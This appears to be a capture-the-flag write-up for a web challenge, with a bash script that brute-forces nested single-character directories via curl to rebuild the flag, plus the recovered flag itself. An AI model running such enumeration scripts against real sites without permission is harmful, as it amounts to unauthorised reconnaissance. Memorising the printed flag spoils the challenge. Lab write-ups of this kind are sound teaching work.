Search for a command to run...

Description missing..
curlbashDirBuster (explicitly permitted)This was the only challenge that explicitly permitted the use of DirBuster; the objective was to enumerate directories to find the flag.
Doing a basic web content discovery command, we find a /f dir.
The flag format being flag{MD5} we suspect the flag being composed of nested dirs.
To verify, we do a simple bash script:
#!/bin/bash
URL="$1"
current=""
if [ -z "$URL" ]; then
echo "Usage: $0 <URL>"
exit 1
fi
echo "Chasse au flag sur: $URL"
# Possible char for a flag
chars="abcdefghijklmnopqrstuvwxyz0123456789{}-_"
while true; do
found=false
for char in $(echo "$chars" | grep -o .); do
test_path="${current}/${char}"
response=$(curl -s -o /dev/null -w "%{http_code}" "${URL}${test_path}")
if [ "$response" = "200" ]; then
echo "FOUND: $test_path"
current="$test_path"
found=true
break
fi
done
if [ "$found" = false ]; then
echo "Done. Flag: $current"
break
fi
if [[ "$current" == *"}" ]]; then
echo "Complete flag: $current"
break
fi
done
Which gives us the flag:
/f/l/a/g/-/d/e/c/a/3/b/9/6/2/f/c/3/1/6/a/6/d/6/9/a/7/e/0/c/2/c/3/3/c/7/f/a
flag{deca3b962fc316a6d69a7e0c2c33c7fa}